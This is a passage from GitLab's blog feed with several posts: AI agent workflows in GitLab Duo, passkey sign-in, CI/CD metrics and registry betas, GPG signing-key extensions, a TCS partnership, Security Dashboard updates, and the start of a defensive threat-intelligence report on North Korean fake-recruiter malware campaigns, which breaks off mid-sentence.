assurance doesn&#39;t stop at code generation. In the second use case, the same external agent performs a comprehensive code review of the application it created. By mentioning the agent in a merge request comment, teams receive detailed analysis including code strengths, critical issues, medium-priority concerns, minor improvements, security assessments, testing notes, code metrics, and recommendations with an approval status. This automated review process ensures consistency and catches potential issues before they reach production, while freeing up senior developers to focus on architectural decisions rather than routine code inspection.</p><p><img alt="Requesting a code review from the external agent" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058387/ri7x5qkx9bfnidfn8gx1.png" title="Requesting a code review from the external agent" /></p><p><img alt="Code review results from the external agent" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058392/trdamdekrnvkbnfz0twg.png" title="Code review results from the external agent" /></p><h3 id="_3-create-pipeline-to-build-container-image">3. Create pipeline to build container image</h3><p>The final use case addresses a common gap: deployment automation. When the merge request lacks a CI/CD pipeline, teams can simply ask the external agent to create one. The agent generates a complete pipeline configuration that builds the application, creates a Dockerfile using appropriate base images matched to the project&#39;s Java version, builds a Docker image, and deploys it to GitLab&#39;s built-in container registry. The pipeline runs automatically, proceeding through build, Docker image creation, and registry deployment stages — all without manual configuration or intervention.</p><p><img alt="Prompt for external agent to create a pipeline and container image" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058392/bwqipksewm1hejuycwqh.png" title="Prompt for external agent to create a pipeline and container image" /></p><p><img alt="Newly created pipeline and Dockerfile files created by external agent" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058395/agyr8hhc1vax7aarsxoj.png" title="Newly created pipeline and Dockerfile files created by external agent" /></p><p><img alt="Newly created pipeline successful run" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058395/cdm4mye5edkpemedpxts.png" title="Newly created pipeline successful run" /></p><p><img alt="Newly created container image as a result from running pipeline" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772058395/bifx71xz9k7vedbo9xl3.png" title="Newly created container image as a result from running pipeline" /></p><h2 id="summary">Summary</h2><p>GitLab Duo Agent Platform with external agents represents a fundamental shift in how organizations approach software development. By addressing the core problem of isolated AI tools and fragmented workflows, external agents bring intelligent automation directly into the platforms teams already use. Rather than treating AI as a separate coding assistant, Duo Agent Platform integrates external models like Claude seamlessly into your GitLab workflow, enabling agents to understand full project context, adhere to organizational standards, and autonomously handle complex tasks across the entire development lifecycle.</p><p>The value proposition is clear: Development teams accelerate delivery timelines, maintain consistent code quality, reduce repetitive work, and free up senior engineers to focus on innovation rather than routine tasks. From generating production-ready code based on issue descriptions to performing thorough code reviews and automating deployment pipelines, external agents become trusted collaborators that understand your organization&#39;s unique needs and standards.</p><p>Discover how your team can ship faster, maintain higher quality, and stay in flow throughout the entire software development lifecycle. <a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">Try GitLab Duo Agent Platform today</a>. Then, dig into our <a href="https://about.gitlab.com/blog/gitlab-duo-agent-platform-complete-getting-started-guide/" rel="">&quot;Getting started with GitLab Duo Agent Platform&quot; guide</a>.</p>]]></content>
        <author>
            <name>Cesar Saavedra</name>
            <uri>https://about.gitlab.com/blog/authors/cesar-saavedra/</uri>
        </author>
        <published>2026-02-26T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Passkeys now available for passwordless sign-in and 2FA on GitLab]]></title>
        <id>https://about.gitlab.com/blog/passkeys-now-available-for-passwordless-sign-in-and-2fa-on-gitlab/</id>
        <link href="https://about.gitlab.com/blog/passkeys-now-available-for-passwordless-sign-in-and-2fa-on-gitlab/"/>
        <updated>2026-02-25T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Passkeys are now available on GitLab, and offer a more secure and convenient way to access your account. You can use passkeys for passwordless sign-in or as a phishing-resistant two-factor authentication (2FA) method. Passkeys offer the ability to authenticate using your device&#39;s fingerprint, face recognition, or PIN. For accounts with 2FA enabled, passkeys automatically become available as your default 2FA method.</p><figure className="video_container"> <iframe src="https://www.youtube.com/embed/LN5MGRdTHR8?si=OOebJZzN3LkSmzNv" title="Passwordless authentication using passkeys" frameBorder="0" allowFullScreen="true"></iframe> </figure><p><br /><br /></p><p>To register a passkey to your account, go to your profile settings and select <strong>Account &gt; Manage authentication</strong>.</p><p>Passkeys use WebAuthn technology and public-key cryptography made up of both a private and public key. Your private key stays securely on your device and never leaves, while your public key is stored on GitLab. Even if GitLab were to become compromised, attackers cannot use your stored credentials to access your account. Passkeys work across desktop browsers (Chrome, Firefox, Safari, Edge), mobile devices (iOS 16+, Android 9+), and FIDO2 hardware security keys, allowing you to register multiple passkeys across your devices for convenient access.</p><p><img alt="Passkeys sign-in with two-factor authentication" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1767807931/n652nkgvna1rsymlfzpi.png" /></p><p>GitLab signed the <a href="https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/" rel="">CISA Secure by Design Pledge</a>, committing to improve our security posture and help customers develop secure software faster. One key objective of the pledge is to  increase the use of  <a href="https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/#multi-factor-authentication-mfa" rel="">multi-factor authentication (MFA)</a> across the manufacturer’s products. Passkeys are an integral part of this goal, and provide a seamless, phishing-resistant MFA method that makes signing in to GitLab both more secure and more convenient.</p><p>If you have questions, want to share your experience, or would like to engage directly with our team about potential improvements, see the <a href="https://gitlab.com/gitlab-org/gitlab/-/work_items/366758" rel="">feedback issue</a>.</p>]]></content>
        <author>
            <name>GitLab</name>
            <uri>https://about.gitlab.com/blog/authors/gitlab/</uri>
        </author>
        <published>2026-02-25T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[New GitLab metrics and registry features help reduce CI/CD bottlenecks]]></title>
        <id>https://about.gitlab.com/blog/new-gitlab-metrics-and-registry-features-help-reduce-ci-cd-bottlenecks/</id>
        <link href="https://about.gitlab.com/blog/new-gitlab-metrics-and-registry-features-help-reduce-ci-cd-bottlenecks/"/>
        <updated>2026-02-25T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Platform and DevOps engineers spend too much time piecing together visibility across fragmented tools and managing infrastructure that should just work.</p><p>Two new GitLab features currently in beta tackle this from different angles but share the same goal: giving practitioners direct control over the CI/CD infrastructure they depend on, without adding another third-party tool. One surfaces job-level performance data right where you monitor pipelines. The other simplifies how you pull container images from multiple registries with built-in caching.</p><p>Both features are open for feedback now. Your input will help shape what ships next.</p><h2 id="cicd-job-performance-metrics">CI/CD Job Performance Metrics</h2><ul><li><strong>Available tiers:</strong> GitLab Premium, GitLab Ultimate</li><li><strong>Status:</strong> Limited-availability beta on GitLab.com; available on GitLab Self-Managed and GitLab Dedicated when ClickHouse is configured</li></ul><p>Today, there’s no simple way to see when a particular job’s duration starts increasing or which jobs are quietly dragging down your pipeline runtimes. Most teams either build custom dashboards or manually dig through logs to answer basic questions like:</p><ul><li>Which jobs are slowest?</li><li>Where are failure rates climbing?</li><li>Which stage is the real bottleneck?</li></ul><p>CI/CD Job Performance Metrics changes that by adding a new job-focused panel to the CI/CD analytics page at the project level.</p><p>For each job in your pipelines, you can see:</p><ul><li>Typical (P50, median) and worst‑case (P95) job duration, so you can quickly view normal versus slowest runs</li><li>Failure rate, so you can spot fragile or flaky jobs</li><li>Job name and stage, covering the last 30 days by default</li></ul><p>The table is sortable, searchable by job name, and paginated, so platform teams get a single view to answer questions that previously required separate tools or custom reporting.</p><p><strong>Try it now</strong></p><ul><li>Navigate to your project and select <strong>Analyze &gt; CI/CD analytics</strong>.</li><li>Look for the CI/CD job performance metrics panel and sort by duration or failure rate to find your slowest or least reliable jobs.</li></ul><p><strong>Documentation</strong></p><ul><li><a href="https://docs.gitlab.com/user/analytics/ci_cd_analytics/#cicd-job-performance-metrics" rel="">CI/CD analytics – CI/CD job performance metrics</a></li></ul><p><strong>What’s coming next</strong></p><p>We’re working on stage-level grouping, so you can view aggregated metrics across your build, test, and deploy stages, and quickly understand where to focus optimization work.</p><p><strong>Share your feedback:</strong></p><ul><li><a href="https://gitlab.com/groups/gitlab-org/-/work_items/18548" rel="">CI/CD job performance metrics epic</a></li></ul><h2 id="container-virtual-registry">Container Virtual Registry</h2><p><strong>Tier:</strong> GitLab Premium, GitLab Ultimate
<strong>Status:</strong> Beta, API-ready in 18.9</p><p>Most organizations pulling container images into CI/CD pipelines rely on multiple registries: Docker Hub, Harbor, Quay, and internal registries, to name a few. Managing authentication, availability, and caching across all of them is operational overhead that slows pipelines down and introduces fragility.</p><p>The Container Virtual Registry lets you create a single GitLab endpoint that pulls from multiple upstream container sources with built-in caching.</p><p>Instead of configuring credentials and availability for each registry individually in your pipeline configuration, you can:</p><ul><li>Point your pipelines at one GitLab virtual registry endpoint</li><li>Configure multiple upstream registries (Docker Hub, Harbor, Quay, and others using long-lived token authentication)</li><li>Let GitLab resolve image pulls automatically, with pull-through caching to reduce bandwidth costs and improve reliability</li></ul><p>For teams evaluating GitLab as a container registry replacement, this closes a critical capability gap. For teams already managing multi-registry container workflows, it centralizes image management into GitLab and cuts down on repeated pulls.</p><p><strong>What the beta supports today</strong></p><ul><li>Upstream registries using long-lived token authentication: Docker Hub, Harbor, Quay, and other compatible registries</li><li>Pull-through caching so commonly used images are served from GitLab after the first pull</li><li>API-first configuration, with UI management in progress++</li></ul><p>Cloud provider registries requiring IAM authentication (such as Amazon Elastic Container Registry, Google Artifact Registry, and Azure Container Registry) are being considered for future iterations.</p><p><strong>Test it today</strong></p><ul><li>The Container Virtual Registry is API-ready in 18.9.</li><li>SaaS (GitLab.com): Request access through your CSM or by commenting on the feedback issue below to have the feature flag enabled for your group.</li><li>Self-managed: Enable the feature flag and configure the virtual registry using the API.</li></ul><p><strong>Documentation</strong></p><ul><li><a href="https://docs.gitlab.com/api/container_virtual_registries/" rel="">Container Virtual Registry API</a></li><li><a href="https://docs.gitlab.com/user/packages/virtual_registry/container/#pull-container-images-from-the-virtual-registry" rel="">Pull container images from the virtual registry</a></li></ul><p>Watch this walkthrough of the Container Virtual Registry Beta:</p><iframe src="https://player.vimeo.com/video/1167512082?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479" frameBorder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerPolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="20260223_Container Virtual Registry Beta_V1"></iframe><script src="https://player.vimeo.com/api/player.js"></script><p><br /><br /></p><p><strong>Share your feedback:</strong></p><ul><li><a href="https://gitlab.com/gitlab-org/gitlab/-/issues/589630" rel="">Container virtual registry feedback issue</a></li></ul><h2 id="help-us-build-what-matters">Help us build what matters</h2><p>Everyone in the GitLab community is a contributor. We built these betas based on community requests.</p><ul><li><strong>CI/CD Job Performance Metrics</strong> came from teams who had no easy way to see when build times started trending in the wrong direction, or which jobs were hurting pipeline reliability.</li><li><strong>Container Virtual Registry</strong> came from enterprise customers managing multiple registries and looking to reduce tool sprawl and bandwidth costs while evaluating GitLab as a central registry.</li></ul><p>Your feedback shapes what we create next. Try one or both of these betas, and share your experience in the linked feedback issues.</p><p>This is the first in a series of Core DevOps betas we plan to highlight. More are coming throughout the year, and we hope you’ll help us make them as useful as possible.</p>]]></content>
        <author>
            <name>Talia Armato-Helle</name>
            <uri>https://about.gitlab.com/blog/authors/talia-armato-helle/</uri>
        </author>
        <published>2026-02-25T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GPG key used to sign GitLab package repositories' metadata has been extended]]></title>
        <id>https://about.gitlab.com/blog/gpg-key-used-to-sign-gitlab-package-repositories-metadata-has-been-extended/</id>
        <link href="https://about.gitlab.com/blog/gpg-key-used-to-sign-gitlab-package-repositories-metadata-has-been-extended/"/>
        <updated>2026-02-24T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab uses GPG key to sign the metadata of the various apt and yum repositories that are used to distribute official omnibus-gitlab and gitlab-runner packages, to ensure integrity of packages, in addition to the packages themselves being signed by a separate key.</p><p>The current key used for the metadata signing, with the fingerprint <code className="">F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F</code>, is set to expire on Feb. 27, 2026, and has been extended to expire on Feb 6, 2028.</p><h2 id="why-are-we-extending-the-deadline">Why are we extending the deadline?</h2><p>The repository metadata signing key&#39;s expiration is extended periodically to comply with GitLab security policies and to limit the exposure should the key become compromised. The key&#39;s expiration is extended instead of rotating to a new key to be less disruptive for users, as rotating would require all users to replace their trusted key</p><h2 id="what-do-i-need-to-do">What do I need to do?</h2><p>If you have already configured GitLab repositories on your machine before Feb. 17, 2026, please check out the official documentation on <a href="https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-keys" rel="">how to fetch and add the new key</a> to your machine.</p><p>If you are a new user, there is nothing specific for you to do other than follow the <a href="https://about.gitlab.com/install/" rel="">GitLab installation page</a> or the <a href="https://docs.gitlab.com/runner/install/linux-repository.html" rel="">gitlab-runner installation docs</a>.</p><p>More information concerning <a href="https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-keys" rel="">verification of the repository metadata signatures</a> is available in the Omnibus documentation. If you just need to refresh a copy of the public key, then you can find it on any of the GPG keyservers by searching for <a href="mailto:support@gitlab.com">support@gitlab.com</a> or using the key ID of <code className="">F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F</code>.</p><p>Alternatively, you could download it directly from packages.gitlab.com using the URL: <code className="">https://packages.gitlab.com/gpg.key</code>.</p><h2 id="what-if-i-need-additional-help">What if I need additional help?</h2><p>Please open an issue in the <a href="https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&amp;issuable_template=Bug" rel="">omnibus-gitlab issue tracker</a>.</p>]]></content>
        <author>
            <name>Denis Afonso</name>
            <uri>https://about.gitlab.com/blog/authors/denis-afonso/</uri>
        </author>
        <published>2026-02-24T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Agentic SDLC: GitLab and TCS deliver Intelligent Orchestration across the enterprise]]></title>
        <id>https://about.gitlab.com/blog/agentic-sdlc-gitlab-and-tcs-deliver-intelligent-orchestration-across-the-enterprise/</id>
        <link href="https://about.gitlab.com/blog/agentic-sdlc-gitlab-and-tcs-deliver-intelligent-orchestration-across-the-enterprise/"/>
        <updated>2026-02-24T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab and TCS are announcing their partnership to help enterprises accelerate innovation velocity at scale.
Enterprises need rapid, secure software delivery but often struggle with fragmented toolchains, inconsistent security controls, and manual compliance processes which slows software delivery. AI-generated code and AI-powered threats add new complexity.
GitLab and TCS Center of Excellence (CoE) accelerators work together to reduce migration friction, codify guardrails, and industrialize DevSecOps adoption at scale. Together, they enable a path from standardization to Intelligent Orchestration with necessary auditable guardrails during development.</p><h2 id="supporting-the-future-ready-enterprise">Supporting the future-ready enterprise</h2><p>Customers want a DevSecOps platform built to last without forcing large-scale re-engineering every few years. GitLab&#39;s unified data model connects the entire software lifecycle into a single source of context, enabling enterprises to standardize pipelines, controls, and metrics at scale. GitLab&#39;s continuous innovation in AI-driven capabilities reinforces its long-term relevance as enterprises adopt agentic workflows to accelerate time to value.</p><p>GitLab and TCS synchronize multi-agent orchestration, dynamic planning, confidence-scored decisioning, and continuous learning cycles to automate coding, reviews, testing, security, and CI/CD workflows.</p><p><a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">GitLab Duo Agent Platform</a> provides Intelligent Orchestration across the software lifecycle through context-aware autonomous actions, multi-step reasoning, code modernization, security scanning, and flow automation, streamlining and accelerating software development. This aligns naturally with TCS’ structured agent hierarchy for IT Operations, enabling dynamic reasoning, planning, and domain agents to invoke GitLab Duo Platform’s specialized agents (e.g., Planner, Security Analyst, Code Review) through MCP-driven integrations and rich project context flows, governed by GitLab’s AI-native DevSecOps controls.</p><h2 id="scaling-devsecops-with-platform-engineering">Scaling DevSecOps with platform engineering</h2><p>Platform engineering shifts the focus from managing individual pipelines and toolchains to building an Internal Developer Platform (IDP) that standardizes how software gets built, secured, tested, and deployed across the organization.</p><p>Enterprises scale by productizing the developer experience through platform engineering, operating IDPs with self-service golden paths. Security, compliance, and governance are embedded by default through policy-as-code, standardizing Day 2 operations. GitLab becomes the IDP control plane, and TCS industrializes the design and rolls out self service as a wrapper on the control plane to deliver a strong developer experience. As solution architects, TCS builds self-service paths while GitLab Duo Agent Platform adds agentic AI to automate development across the SDLC.</p><table><thead><tr><th>Category</th><th>Details</th></tr></thead><tbody><tr><td>Experience Layer (IDP)</td><td>• Developer self-service scaffolding <br /> • One-click environment/runners/scans <br /> • Standardized onboarding</td></tr><tr><td>Platform Control Plane (GitLab)</td><td>• Merge requests as control point <br /> • Integrated CI/CD <br /> • Security <br /> • Software bills of materials (SBOMs) <br /> • Approvals <br /> • Telemetry</td></tr><tr><td>Guardrails and Governance</td><td>• Policy-based governance <br /> • Compliance as code <br /> • Risk-tiered golden paths <br /> • Mandatory controls without manual gates</td></tr><tr><td>Infrastructure and Runtime</td><td>• Cloud landing zones <br /> • Kubernetes/VM runtimes <br /> • GitOps-driven desired-state enforcement</td></tr><tr><td>Golden Paths</td><td>• Ensure products are continuously improved and safely extensible <br /> • Eliminating pipeline drift while preserving autonomy</td></tr><tr><td>Day 2 Operations</td><td>• Automated rollback <br /> • Runtime SLOs tied to release policies <br /> • Vulnerability SLAs <br /> • Cost visibility <br /> • Operational excellence built into platform</td></tr></tbody></table><h2 id="from-devsecops-to-intelligent-orchestration">From DevSecOps to Intelligent Orchestration</h2><p>A unified DevSecOps platform provides enterprises with a foundation, but as AI agents become active participants in the software lifecycle, the platform must do more than manage code and pipelines. It needs to orchestrate the work of humans and AI agents together, with full lifecycle context and guardrails built into the flow. That&#39;s the shift from DevSecOps to Intelligent Orchestration that GitLab Duo Agent Platform enables, improving the quality of software delivery over time.</p><h3 id="gitlab-duo-agent-platform">GitLab Duo Agent Platform</h3><p>GitLab Duo Agent Platform introduces AI agents into the software development lifecycle that work alongside developers as collaborators. Multiple AI agents handle tasks in parallel — from code generation and testing to CI/CD fixes — reducing bottlenecks and speeding up releases. Developers steer and guide these agents using defined rules, maintaining control while offloading repetitive work. This agent orchestration tackles complex workflows (such as auto-fixing broken pipelines) and frees teams to focus on higher value work.</p><p>AI agents work within GitLab&#39;s unified data model, creating merge requests, improving code, and supporting compliance, which boosts productivity and velocity. Because every agent action has full project context, is auditable, and is policy-aligned, enterprises can scale AI across thousands of engineers with confidence, maintaining security and regulatory compliance across all automated workflows. This reduces toil for application engineers, DevSecOps engineers, scrum masters, and product managers.</p><h2 id="understanding-the-reference-architecture">Understanding the reference architecture</h2><p><img alt="GitLab TCS reference architecture" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1771866349/ynfgc7ugqjasyj1uhew0.png" /></p><h2 id="gitlab-tcs-a-powerful-combination">GitLab + TCS: A powerful combination</h2><p>GitLab provides an Intelligent Orchestration platform for DevSecOps where software teams and AI agents work together across the entire development lifecycle. TCS provides industrialized adoption engines, proven reference architectures, large-scale migration factories, enterprise-grade security baselines, enterprise AI capability, AI Trust &amp; Risk management tools and frameworks, and a product mindset for platform operations.</p><p>What truly differentiates this combination is TCS&#39; contextual knowledge gained from decades of working with customers across industries, geographies, and regulatory landscapes. This experience enables TCS to contextualize GitLab capabilities to address enterprise constraints like legacy estates, compliance requirements, operating models, and scale challenges — rather than implementing tooling in isolation. Together, GitLab and TCS enable fast, assured, enterprise-scale delivery across clouds with built-in compliance.</p><blockquote><p>To learn more about GitLab + TCS, email <a href="mailto:ecosystem@gitlab.com">ecosystem@gitlab.com</a>.</p></blockquote>]]></content>
        <published>2026-02-24T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab extends Omnibus package signing key expiration to 2028]]></title>
        <id>https://about.gitlab.com/blog/gitlab-extends-omnibus-package-signing-key-expiration-to-2028/</id>
        <link href="https://about.gitlab.com/blog/gitlab-extends-omnibus-package-signing-key-expiration-to-2028/"/>
        <updated>2026-02-20T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab uses a GNU Privacy Guard (GPG) key to sign all Omnibus packages created within the CI pipelines to ensure that the packages have not been tampered with. This key is separate from the repository metadata signing key used by package managers and the GPG signing key for the GitLab Runner. The Omnibus package signing key, which was set to expire on Feb. 14, 2026, has been extended to expire on Feb, 16, 2028.</p><h2 id="why-are-we-extending-the-deadline">Why are we extending the deadline?</h2><p>The package signing key&#39;s expiration is extended periodically to comply with GitLab security policies and to limit the exposure should the key become compromised. The key&#39;s expiration is extended instead of rotating to a new key to be less disruptive for users, as rotating would require all users to replace their trusted key</p><h2 id="what-do-i-need-to-do">What do I need to do?</h2><p>The only action that needs to be taken is to update your copy of the package signing key <em>if</em> you validate the signatures on the Omnibus packages that GitLab distributes.</p><p>The package signing key is not the key that signs the repository metadata used by the OS package managers like <code className="">apt</code> or <code className="">yum</code>. Unless you are specifically verifying the package signatures or have configured your package manager to verify the package signatures, there is no action needed on your part to continue installing Omnibus packages.</p><p>More information concerning <a href="https://docs.gitlab.com/omnibus/update/package_signatures#package-signatures" rel="">verification of the package signatures</a> is available in the Omnibus documentation. If you just need to refresh a copy of the public key, then you can find it on any of the GPG keyservers by searching for <code className="">support@gitlab.com</code> or using the key ID of <code className="">98BF DB87 FCF1 0076 416C  1E0B AD99 7ACC 82DD 593D</code>.</p><p>Alternatively, you could download it directly from packages.gitlab.com using the URL: <code className="">https://packages.gitlab.com/gitlab/gitlab-ce/gpgkey/gitlab-gitlab-ce-CB947AD886C8E8FD.pub.gpg</code>.</p><h2 id="what-if-i-need-additional-help">What if I need additional help?</h2><p>Please open an issue in the <a href="https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&amp;issuable_template=Bug" rel="">omnibus-gitlab issue tracker</a>.</p>]]></content>
        <author>
            <name>Pratik Singh</name>
            <uri>https://about.gitlab.com/blog/authors/pratik-singh/</uri>
        </author>
        <published>2026-02-20T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Track vulnerability remediation with the updated GitLab Security Dashboard]]></title>
        <id>https://about.gitlab.com/blog/track-vulnerability-remediation-with-the-updated-gitlab-security-dashboard/</id>
        <link href="https://about.gitlab.com/blog/track-vulnerability-remediation-with-the-updated-gitlab-security-dashboard/"/>
        <updated>2026-02-19T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Security teams and developers face the same frustration: thousands of vulnerabilities demanding attention, without the insights to help them prioritize remediation. Where is risk concentrated and how fast is it being remediated? Where will remediation efforts have the greatest impact? The updated GitLab Security Dashboard helps answer these questions with trend tracking, vulnerability age distribution, and risk scoring by project.</p><h2 id="measure-remediation-not-just-detection">Measure remediation, not just detection</h2><p>Application security teams don’t struggle to find vulnerabilities; they struggle to make sense of them. Most dashboards show raw counts without context, forcing teams to spend countless hours chasing remediation without understanding what vulnerabilities expose them to the greatest risks.</p><p><a href="https://docs.gitlab.com/user/application_security/security_dashboard/#new-security-dashboards" rel="">GitLab Security Dashboard</a> consolidates all vulnerability data into one view that spans projects, groups, and business units.</p><p>In 18.6, we introduced the first release of the updated Security Dashboard, allowing teams to view vulnerabilities over time and filter based on project or report type. As part of the <a href="https://about.gitlab.com/releases/2026/02/19/gitlab-18-9-released/" rel="">18.9 release</a>, customers will be able to take advantage of new filters and charts that make it easier to slice data by severity, status, scanner, or project and visualize trends such as open vulnerabilities, remediation velocity, vulnerability age distribution, and risk score over time.</p><p>Risk scores help teams prioritize remediating their most critical vulnerabilities. The risk score is calculated using factors such as vulnerability age, Exploit Prediction Scoring System (EPSS), and Known Exploited Vulnerability (KEV) scores for related repositories and their security postures. With this data, application security teams can pinpoint which areas need more attention than others.</p><p>GitLab Security Dashboard helps application security and development teams:</p><ul><li><strong>Track program effectiveness</strong>: Monitor remediation velocity, scanner adoption, and risk posture to show measurable improvement.</li><li><strong>Focus on targeted remediation</strong>: Fix vulnerabilities that represent the greater risk to production systems.</li><li><strong>Identify areas for remediation training</strong>: Find which teams struggle with remediating vulnerabilities in accordance with company policy to invest in additional training.</li><li><strong>Reduce manual reporting</strong>: Eliminate the need for external dashboards and spreadsheets by tracking everything directly within GitLab.</li></ul><p>This update reflects GitLab’s continued commitment to making security measurable, contextual, and integrated into everyday development workflows. GitLab Security Dashboard turns raw findings into actionable insights, giving security and development teams the clarity to prioritize, reduce risk faster, and prove their progress.</p><h2 id="see-security-dashboard-in-action">See Security Dashboard in action</h2><p>An application security leader preparing for an executive briefing can now show whether investments are reducing risk with clear trendlines: open vulnerabilities decreasing, vulnerability age decreasing, once-prevalent CWE types trending downward, and a healthy risk score. Instead of presenting raw counts, they can demonstrate how the backlog is shrinking and how risk posture is improving quarter over quarter.</p><p>At the same time, developers can see the same dashboard highlighting critical vulnerabilities in their active projects, allowing them to focus remediation efforts without exporting data or juggling multiple tools.</p><iframe src="https://player.vimeo.com/video/1166108924?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479" frameBorder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerPolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Security-Dashboard-Demo-Final"></iframe><script src="https://player.vimeo.com/api/player.js"></script><blockquote><p>For more details on how to get started with GitLab Security Dashboard today, check out our <a href="https://docs.gitlab.com/user/application_security/security_dashboard/" rel="">documentation</a>.</p></blockquote>]]></content>
        <author>
            <name>Alisa Ho</name>
            <uri>https://about.gitlab.com/blog/authors/alisa-ho/</uri>
        </author>
        <author>
            <name>Mike Clausen</name>
            <uri>https://about.gitlab.com/blog/authors/mike-clausen/</uri>
        </author>
        <published>2026-02-19T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab Threat Intelligence Team reveals North Korean tradecraft]]></title>
        <id>https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/</id>
        <link href="https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/"/>
        <updated>2026-02-19T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>We’re sharing intelligence on threat actors associated with North Korean Contagious Interview and IT worker campaigns to raise awareness of emerging trends in operations and tradecraft. We hope this analysis helps the broader security community defend against evolving threats and address the industry-wide challenge of threat actors using legitimate platforms and tools for their operations.
Publishing this intelligence reflects our commitment to disrupting threat actor infrastructure. Our security team continuously monitors for accounts that violate our platform’s terms of use and maintains controls designed to prevent the creation of accounts from U.S.-embargoed countries in accordance with applicable trade control laws.</p><p><strong>There is no action needed by GitLab customers and GitLab remains secure.</strong></p><h2 id="executive-summary">Executive summary</h2><h3 id="what-is-contagious-interview">What is Contagious Interview?</h3><p>Since at least 2022, North Korean nation-state threat actors have posed as recruiters to induce software developers to execute malicious code projects under the pretense of technical interviews. Malicious projects execute custom malware, allowing threat actors to steal credentials and remotely control devices, enabling financial and identity theft and lateral movement. This malware distribution campaign has impacted thousands of developers and is tracked in industry research as Contagious Interview.</p><h3 id="about-the-report">About the report</h3><p>In 2025, GitLab identified and banned accounts created by North Korean threat actors used for <a href="https://attack.mitre.org/groups/G1052/" rel="">Contagious Interview</a>. GitLab’s visibility into these actors&#39; code repositories provides unique, real-time intelligence into the infrastructure powering campaign activity. In some instances, we can leverage this insight to identify private GitLab.com projects created and used by North Korean nation-state threat actors. Some private projects contain malware development artifacts powering North Korean nation-state malware campaigns. Other projects contain records and notes or software capabilities that support North Korean sanctions evasion and revenue generation through <a href="https://www.fbi.gov/investigate/cyber/alerts/2025/north-korean-it-worker-threats-to-u-s-businesses" rel="">IT worker activity</a>.</p><p>Exposing this activity discourages future attempts by these actors to create GitLab accounts and offers insights other organizations can use to enhance their own defenses.</p><p>This report contains a <a href="#year-in-review">Year in Review</a> summarizing activity from North Korean nation-state actors that used GitLab.com for their operations in 2025, including a campaign-level view into malware infrastructure and technique trends. The report also includes case studies analyzing:</p><ul><li><a href="#case-study-1-north-korean-it-worker-cell-manager-financial-and-administrative-records">Financial records</a> maintained by the manager of a North Korean IT worker cell, detailing proceeds from 2022 to 2025</li><li><a href="#case-study-2-synthetic-identity-creation-and-service-abuse-at-scale">A synthetic identity creation pipeline</a> used to create at least 135 personas, automated to generate professional connections and contact leads at scale</li><li><a href="#case-study-3-north-korean-operator-controlling-21-personas">A North Korean IT worker controlling 21 unique personas</a> and adding their own image to stolen U.S. identity documents</li><li><a href="#case-study-4-north-korean-fake-it-worker-operating-from-central-moscow">A North Korean IT worker recruiting facilitators</a> and working for U.S. organizations while operating from Moscow, Russia</li></ul><p>We’re also sharing more than 600 indicators of compromise associated with these case studies, which can be found in the <a href="#appendix-2-indicators-of-compromise">Appendix</a>.</p><h2 id="year-in-review">Year in Review</h2><p>North Korean nation-state malware activity accelerated in the second half of 2025 and peaked in September. We banned an average of 11 accounts per month for distributing North Korean nation-state malware or loaders. We assess that North Korean nation-state malware activity on GitLab.com almost certainly relates to distinct teams operating in parallel based on branching distribution and obfuscation techniques, infrastructure, and malware variants.</p><h3 id="key-findings">Key findings</h3><p>Here are our key findings, including 2025 campaign trends and malicious code project features.</p><h4 id="_2025-campaign-trends">2025 campaign trends</h4><p>In 2025, we banned 131 unique accounts distributing malicious code projects we attribute to North Korean nation-state threat actors. We identified malicious projects through a combination of proactive detection and user reports. In every instance, threat actors used primarily JavaScript codebases. Malicious repositories executed JavaScript-based malware families tracked publicly as BeaverTail and Ottercookie in more than 95% of cases, however we also observed the distribution of lower prevalence payloads, including the compiled ClickFix BeaverTail variant <a href="https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/north-korean-malware-sept-2025/" rel="">we identified</a> in 